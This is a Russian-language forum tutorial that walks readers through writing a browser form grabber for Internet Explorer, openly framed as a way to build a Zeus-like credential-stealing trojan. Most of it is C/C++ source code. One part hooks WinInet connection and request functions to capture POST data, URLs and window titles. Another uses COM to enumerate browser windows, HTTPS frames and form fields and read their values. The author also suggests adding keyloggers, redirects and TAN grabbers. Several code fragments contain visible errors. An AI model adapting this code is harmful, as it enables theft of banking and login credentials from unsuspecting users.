Решил рассказать про формграберы, ибо по сути они довольно таки примитивны, а за них почему то просят некоторое количество килобаксов, так что читайте и у вас будет шанс сделать себе аналог того же Zeus. И так быстренько пробижимся по формграбера разной масти, т.е. как POST перехватчиков, так и здоровеных "уродов" на COM. Все естественно писано для ишак и работает только с ним.
Wininet
Собственно POST перехватчик, простенькая весчь хотя и имет некоторые нюансы. Весь пост перехват сводится к перехвату InternetConnectA/W HttpOpenRequestA/W HttpSendRequestA/W, в ишаках ниже 7 достаточно и ascii функций а вот в седьмом придется хукать и UNICODE аналоги. И так начнем по порядку, сразу скажу что все даныне будут засунуты в глобальную структуру, и в нее же будут засунуты хендлы, что бы победить асинхронность. Структура для начала выглядит следующим образом
typedef struct _REQUESTDATA {
HINTERNET hInternet; // хендл от InternetConnect
HINTERNET hRequest; // хендл от HttpOpenRequest
} *PREQUESTDATA;
Смысл в следующем есть у нас три хандлера в первом мы выделяем память под структуру и при удачном вызове реального InternetConnect его хендл отправляем в структуру, после в NewHttpOpenRequestA мы сравниваем хендл hConnect с тем что в структуре и если они одинаковы это наш "клиент". Естественно запросов может быть куча поэтому для каждого выделяем память а структура у нас превращается в одно или двух связный список, плюс добавляем пару функций парсинга этого списка в поисках нужного нам хендла. Так что добавляем к ней pNext и pPrev. Что бы в итоге не забить память нафиг нашими структурами надо грохать их например по попаданию нашего хендла в InternetCloseHandle так что придется хукнуть и её, благо принцип поиска хендла остается тем же заморок быть не может. Кстати говоря до InternetCloseHandle дело может и не дойти, малоли криворукйи кодер забыл закрыть хендл, так что придется грохать структуры навсякий случай по времени. Для этого добавим парамтр dwTime в который при создание бдем пихать GetTickCount, а отдельынй тред раз в таймаут будет пробегатся по структурам и смотреть не кончилось ли у этой структуры время жизни, если да естественно все грохаем.
Замечу что для стабильной работы понадобится юзать либо mutex либо еще какие нить средства, ибо тредов может быть большое количество и если в одном какая нить структура будет грохатся а во втором к ней кто то будет обращатся, то ишак быстренько отдаст концы из-за ACCESS_VIOLATION. И так рассмотрим первый хандлер NewInternetConnect.
HINTERNET __stdcall
NewInternetConnectA(
HINTERNET hInternet,
LPCTSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCTSTR lpszUsername,
LPCTSTR lpszPassword,
DWORD dwService,
DWORD dwFlags,
DWORD dwContext )
{
PREQUESTDATA pReq = NULL;
if ( dwService = INTERNET_SERVICE_HTTP ){
// это как раз функция которая и выделит память под структуру забьет в нее время создания
// изменит список изменив pNext, pPrev и вернет наконец нам указатель на память где она валяется
if ( ( pReq = CreateRequest( ) ) ) {
// при копирование каких либо параметров в стрруктуру или каких либо действий с ними
// обязательно проверяйте их на существование, я же этого не делаю ( мне тупо лень :D )
lstrcpy( pReq->szServerName, lpszServerName );
pReq->nServerPort = nServerPort;
// дальше можн опроверить юзер и пасс на существование и тож скинуть их в структуру
// ...
// самое че необходимо это текс окна в котором собственно пнули wininet на создание запроса
// я думаю понятно что user32 может быть в другом процессе где угодно и его надо находить динамически
char szWndTxt[ 260 ];
DWORD dwHwnd;
DWORD gfw = (DWORD)GetProcAddress( LoadLibrary( "user32.dll" ), "GetForegroundWindow" );
DWORD gwt = (DWORD)GetProcAddress( LoadLibrary( "user32.dll" ), "GetWindowTextA" );
__asm {
call dword ptr[gfw]
mov [dwHwnd],eax
lea ecx,[szWndTxt]
push 255
push ecx
push [dwHwnd]
call dword ptr[gwt]
}
lstrcpy( pReq->szWndName, szWndTxt );
}
}
// теперь самое главное вызываем реальную функцию
// и если она возвращает ошибку грохаем структуру которую так долго создавали :)
HINTERNET hRet = OldInternetConnectA(
hInternet,
lpszNewServer,
nServerPort,
lpszUsername,
lpszPassword,
dwService,
dwFlags,
dwContext
};
if ( hRet )
if ( pReq )
// пихаем хендл, потом пригодится
pReq->hInternet = hRet;
else
if ( pReq )
// собственно грохаем структуру
DeleteReques( pReq );
return hRet;
}
И так рассмотрели первый хандлер, из него получили достаточное количствео инфы, имя сервера, порт ( логи и пасс ), имя окна и самое главное хендл соединениея. В этом же хандлере можно пнуть кейлогер который будет снифать клаву, только по заходу на определеный домен, можно заблочить конект на сайт или сделать домен редирект. Но все эти прелести я тут рассматривать не буду. Перейдем к следующему хандлеру это NewHttpOpenRequest.
HINTERNET __stdcall
NewHttpOpenRequestA(
HINTERNET hConnect,
LPCTSTR lpszVerb,
LPCTSTR lpszObjectName,
LPCTSTR lpszVersion,
LPCTSTR lpszReferer,
LPCTSTR* lpszAcceptTypes,
DWORD dwFlags,
DWORD dwContext)
{
PREQUESTDATA pReq = NULL;
HINTERNET hRet = OldHttpOpenRequestA(
hConnect,
lpszVerb,
lpszObjectName,
lpszVersion,
lpszReferer,
lpszAcceptTypes,
dwFlags,
dwContext
);
// при удачном срабатывание реальнйофункции
// и удачном поиске в списке структуры с хедлом который получил
// в выше описаном хандлере начинаем таскать данные
if ( hRet && ( pReq = FindRequest( hConnect ) ) {
// тут мы получим объект, он же путь на серваке типа /index.php
// тут можно собрать полный урл и самое главное проверить
// с каким типом запроса мы имеем дело GET/POST или еще какая гадость
pReq->hRequest = hRet;
if ( lpszVerb && !lstrcmp( lpszVerb, "POST" ) {
// тырим линк
lstrcpy( pReq->szObjectName, lpszObjectName );
// это как помните получили в первом хандлере
// если порт не стандартен можно грохнуть структуру
// а можно и его как нить обработать
char *szType;
if ( pReq->nServerPort == INTERNET_DEFAULT_HTTP_PORT )
szType = "http";
else if ( pReq->nServerPort == INTERNET_DEFAULT_HTTPS_PORT )
szType = "https";
// собираем полный урл
wsprintf( pReq->sqUrl, "%s://%s%s", szType, pReq->szServerName, pReq->szObjectName );
}
}
// кстати по хорошему если функция возвращает ошибку не помешает грохнуть
// структуру с её хендлом что бы не сорить в памяти
return hRet;
}
В этом хандлере можно сделать линк редирект или заблочить определеную страничку на сайте, но саоме главное это конечно же получение необходимых нам данных, которые кстати здешь же можно отсеить по маскам. Ну да ладно перейдем к завершающему хандлеру NewHttpSendRequest, там уже соберем данные которые покажут полную картину.
BOOL __stdcall
NewHttpSendRequestA(
HINTERNET hRequest,
LPCTSTR lpszHeaders,
DWORD dwHeadersLength,
LPVOID lpOptional,
DWORD dwOptionalLength)
{
BOOL bRet = OldHttpSendRequestA(
hRequest,
lpszHeaders,
dwHeadersLength,
lpOptional,
dwOptionalLength
);
PREQUESTDATA pReq = NULL;
// опять же проверяем на валид, можем грохнуть структуру если вернет ошибку
if ( hRet && ( pReq = FindRequest( hRequest ) ) {
// проверим переданы ли опции
if ( dwOptionalLength > 0 && ( DWORD )lpOptional != -1 ) {
// и засуним их в структуру
lstrcpy( pReq->szOptional, lpOptional );
}
}
return bRet;
}
Собственно это все по этому хандлеру, хотя что здесь можно еще слить Header или изменить его, например убрав gzip или другой енкодер, что бы потом в InternetReadFile/Ex получить не шифрованый контент, суда же можно прикрутить tan грабер или блокер каких либо опций запроса.
COM
С wininet вроде разобрались ибо в нем грех не разобратся, что не понятно можно глянуть в отладчике или на msdn. Теперь перейдем к самому геморному формграберу черз COM, когда то coban2k писал грабер полностью на ком где он хукал события и т.д. и т.п. он конечно хорош но тормозной больно. Вабще вариатов перехвата масса, это как хук через COM, хук определных методов прямым сплайсингом в библиотеке и третий который я и опишу это просто поиск нужной формы при вызове HttpOpenRequest, формы можно не отсеивать а сграбить их все, а можно и отсеять например по полю action в форме или по хендлу окна ( на сайтах с фреймами такое не покатит ). Так вот сразу после проверки на пост запрос в HttpOpenRequest
if ( lpszVerb && !lstrcmp( lpszVerb, "POST" )
тупо пинаем формграбер на COM который енумиратит все шеллы, потом в них все фреймы и формы в поисках одной единственной. Начнем с шеллов.
long nCount;
IShellWindows* pShellWindows = 0;
IDispatch* pWebBrowserDisp = 0;
IWebBrowser2* pWebBrowser = 0;
IHTMLDocument2* pHtmlDoc = 0;
IDispatch* pDocDisp = 0;
VARIANT va;
// если юзается в нутри ишака этого можно не делать
if (FAILED( CoInitialize (NULL)))
return 0;
// полуаем указатель на интерфейс IShellWindows
if (FAILED( CoCreateInstance(CLSID_ShellWindows, NULL, CLSCTX_ALL, IID_IShellWindows, (void **)&pShellWindows) ) )
return 0;
// получаем количество шелов
ShellWindows->get_Count ( &nCount );
// крутим все шелы по очереди
for (long i = 0; i < nCount; i++) {
va.vt = VT_I4;
va.lVal = i;
// получаем указатель на диспатч
if (SUCCEEDED( pShellWindows->Item(va, &pWebBrowserDisp )) && pWebBrowserDisp ) {
// из него курим IWebBrowser2
if (SUCCEEDED( pWebBrowserDisp->QueryInterface( IID_IWebBrowser2,(void **)&pWebBrowser ) ) && pWebBrowser ) {
// из него на диспатч
if (SUCCEEDED( m_pWebBrowser->get_Document(&pDocDisp))) {
// и опять курим для получения IHTMLDocument2
// с которым уже и будет работать следующая функция
if ( SUCCEEDED( pDocDisp->QueryInterface( IID_IHTMLDocument2, (void **)&pHtmlDoc ) ) ) {
// тут собственно вызов функции где будут енумиратится фреймы
// не забываем освобождать все что на получали
pHtmlDoc->Release( );
}
pDocDisp->Release( );
}
pWebBrowser->Release( );
}
pWebBrowserDisp->Release( );
}
}
pShellWindows->Release( );
// тож самое что и с CoInitialize
CoUninitialize( );
В формграбере кобана фреймы енумирателись от метода get_framse интрефейса IHTMLDocument2, так вот это боян https фреймы таким образом не получишь, вернее получишь тока с ними ничего не сделаешь, просто пошлют и все тут. На msdn был найден кодес который побеждает так мещающие секурные недоразумения :)
IOleContainer* pContainer = 0;
IEnumUnknown* pEnumerator = 0;
IUnknown* pUnk = 0;
IWebBrowser2* pBrowser = 0;
IDispatch* pDocDisp = 0;
ULONG uFetched;
// в самом начале вызываем функцию которая будет дальше работать
// искать формы и все дела
if ( SUCCEEDED( m_pHtmlDoc->QueryInterface( IID_IOleContainer, (void**)&pContainer ) ) ) {
if (SUCCEEDED( pContainer->EnumObjects( OLECONTF_EMBEDDINGS, &pEnumerator ) ) ) {
for ( UINT i = 0; S_OK == pEnumerator->Next( 1, &pUnk, &uFetched ); i++ ) {
if ( SUCCEEDED( pUnk->QueryInterface( IID_IWebBrowser2, (void**)&pBrowser ) ) ) {
if ( SUCCEEDED( pBrowser->get_Document(&pDocDisp))) {
if ( SUCCEEDED( pDocDisp->QueryInterface( IID_IHTMLDocument2, (void **)&m_pHtmlDoc ) ) ) {
// тут рекурсивно вызываем сами себя
m_pHtmlDoc->Release( );
} // end if
pDocDisp->Release( );
} // end if
pBrowser->Release( );
}
pUnk->Release( );
}
pEnumerator->Release( );
}
pContainer->Release( );
}
За разжевыванием сего кодеса зайдите суда http://support.microsoft.com/kb/196340 И так двигаем дальше теперь надо найти все формы и вытащить из них всякую полезную инфу. Для начало ваще получим формы, их имена акшены, методы и околорменные слова.
BSTR BstrOutput;
long FormCount;
VARIANT form_item_var;
IHTMLElementCollection* pFormCollection = 0;
IDispatch* pFormElementDisp = 0;
IHTMLElement *pIHTMLElement = 0;
IHTMLFormElement* pFormElement = 0;
// ну тут все тож легко
// получаем коллекцию форм
if( SUCCEEDED( m_pHtmlDoc->get_forms( &pFormCollection ) ) ) {
// получаем количство форм
if( SUCCEEDED( FormCollection->get_length( &FormCount ) ) ) {
// перебираем все
for ( int i = 0; i < FormCount; i++ ) {
form_item_var.vt = VT_I4;
form_item_var.lVal = i;
if( SUCCEEDED( FormCollection->item( form_item_var, form_item_var, &pFormElementDisp ) ) ) {
if( SUCCEEDED( FormElementDisp->QueryInterface( IID_IHTMLElement, ( void** )&pIHTMLElement ) ) ) {
// получаем весь текст внутри формы, сойдет за околоформенные слова
if ( SUCCEEDED( pIHTMLElement->get_innerText( &BstrOutput ) ) )
SysFreeString( BstrOutput );
pIHTMLElement->Release( );
}
if( SUCCEEDED( FormElementDisp->QueryInterface( IID_IHTMLFormElement, ( void**)&pFormElement ) ) ) {
// имя формы
if( SUCCEEDED( FormElement->get_name( &BstrOutput ) ) )
SysFreeString( BstrOutput );
// action формы
if( SUCCEEDED( FormElement->get_action( &BstrOutput ) ) )
SysFreeString( BstrOutput );
// метод
if ( SUCCEEDED( FormElement->get_method( &BstrOutput ) ) )
SysFreeString( BstrOutput );
pFormElement->Release( );
}
pFormElementDisp->Release( );
}
}
}
pFormCollection->Release( );
}
В этой функции всего то надо получить метод если пост то продолжать дальше, потом впринципе можно сравнить акшен полученый в wininet с акшеном формы, тока сравнивать надо с конца убрав первый слеш в lpszObjectName из HttpOpenRequest ( такой нюан небольшой ) в итоге если вы нашли именно ту форму с которой идет запрос начинаем собтсвенно разбирать её на элементы и уж обрабатывать их. Это как раз самая неприятная часть кода.
long FormItemCount;
IDispatch* FormItemDisp;
VARIANT v;
IHTMLInputElement* FormItemInputElement = 0;
IHTMLTextAreaElement* FormItemTextAreaElement = 0;
IHTMLSelectElement* FormItemSelectElement = 0;
IDispatch* OptionElementDisp = 0;
BSTR bstrType;
BSTR bstrName;
BSTR bstrValue;
long lSelect;
VARIANT_BOOL bSelected;
VARIANT vs;
// тут ваще код приметивный, получаем количество элементов и понеслась
if( SUCCEEDED( FormElement->get_length( &FormItemCount ) ) ) {
for ( int j = 0; j < FormItemCount; j++ ) {
v.vt = VT_I4;
v.lVal = j;
// получаем указатель на диспач
if ( SUCCEEDED( FormElement->item( v, v, &FormItemDisp ) ) ) {
// курим, если прошло значит input элемент
if ( SUCCEEDED( FormItemDisp->QueryInterface( IID_IHTMLInputElement, ( void** )&FormItemInputElement ) ) ) {
// тип
FormItemInputElement->get_type(&bstrType);
// имя
FormItemInputElement->get_name(&bstrName);
// значение
FormItemInputElement->get_value(&bstrValue);
// чистим за собой строки
SysFreeString( bstrType );
SysFreeString( bstrName );
SysFreeString( bstrValue );
// релизем интерфейс
FormItemInputElement->Release( );
}
// тож самое для textarea
// тока тип не нужен т.к. он textarea :)
if ( SUCCEEDED( FormItemDisp->QueryInterface( IID_IHTMLTextAreaElement, ( void** )&FormItemTextAreaElement ) ) ) {
FormItemTextAreaElement->get_name(&bstrName);
FormItemTextAreaElement->get_value(&bstrValue);
SysFreeString( bstrName );
SysFreeString( bstrValue );
FormItemTextAreaElement->Release( );
}
// тут немного сложнее потому что надо узнать какой селект выбран
if (SUCCEEDED(FormItemDisp->QueryInterface(IID_IHTMLSelectElement, (void**)&FormItemSelectElement))){
// пожтому получаем количество элементов
if (SUCCEEDED(FormItemSelectElement->get_length(&lSelect))){
// крутим их в цикле
for (int k = 0; k < lSelect; k++) {
vs.vt = VT_I4;
vs.lVal = k;
// и собственно узнаем выбран он или нет
if (SUCCEEDED(FormItemSelectElement->item(vs, vs, &OptionElementDisp))){
IHTMLOptionElement* OptionElement;
if (SUCCEEDED(OptionElementDisp->QueryInterface( IID_IHTMLOptionElement, (void**)&OptionElement))){
if (SUCCEEDED(OptionElement->get_selected( &bSelected ) ) ) {
if ( InptSelected ){
// если да то получаем имя и значение
FormItemSelectElement->get_name( &bstrName );
OptionElement->get_value( &bstrValue );
SysFreeString( bstrName );
SysFreeString( bstrValue );
}
}
OptionElement->Release( );
}
OptionElementDisp->Release( );
}
}
}
FormItemSelectElement->Release( );
}
FormItemDisp->Release( );
}
}
}
Ну вот вроде и все, канечно это все поверхносно и еле разжевано, но впринципе для более или менее грамотных людей будет не проблемой все это переделать улучшить и юзать или на основе этого сделать что то получше. Впринципе этих знаний вполне достаточно что бы собрать себе краба и с радостью перегрузить сервак бесконечными логами от него :) Удачи.
Автор предпочел сохранить свою анонимность. // dm
|